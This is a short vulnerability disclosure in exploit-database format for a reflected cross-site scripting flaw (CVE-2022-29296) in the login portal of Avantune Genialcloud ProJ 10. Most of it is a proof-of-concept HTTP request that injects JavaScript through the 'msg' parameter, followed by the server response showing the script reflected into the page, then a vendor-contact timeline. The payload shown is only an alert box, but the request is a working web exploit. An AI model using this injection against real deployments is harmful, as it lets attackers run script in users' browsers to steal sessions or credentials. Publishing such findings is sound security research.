# Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting) # Date: 2022-06-01 # Exploit Author: Andrea Intilangelo # Vendor Homepage: https://www.avantune.com # Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com # Version: 10 # Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39) # CVE: CVE-2022-29296 Reflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the same software house "Avantune" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject and execute arbitrary web scripts or HTML via a crafted payload. Request parameters affected is "msg". PoC Request: GET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1 Host: [REDACTED] Cookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Connection: close Cache-Control: max-age=0 PoC Response: HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Wed, 11 May 2022 10:51:10 GMT Connection: close Content-Length: 8162 var Msg = 'Invalid username or password';alert("y0! XSS here :)")//'; ...[SNIP]... Timeline: 2022-01-05: Vulnerability discovered. 2022-01-06: Vendor contacted. 2022-02-07: No reply, vendor contacted for 2nd time. 2022-02-10: Request for CVE reservation. 2022-04-16: Assigned CVE number CVE-2022-29296. 2022-05-07: No reply, vendor contacted for 3rd time. 2022-06-01: Public disclosure. PoC Screenshots: https://imagebin.ca/v/6j86ekMqKZD8 https://postimg.cc/XXv6YbK9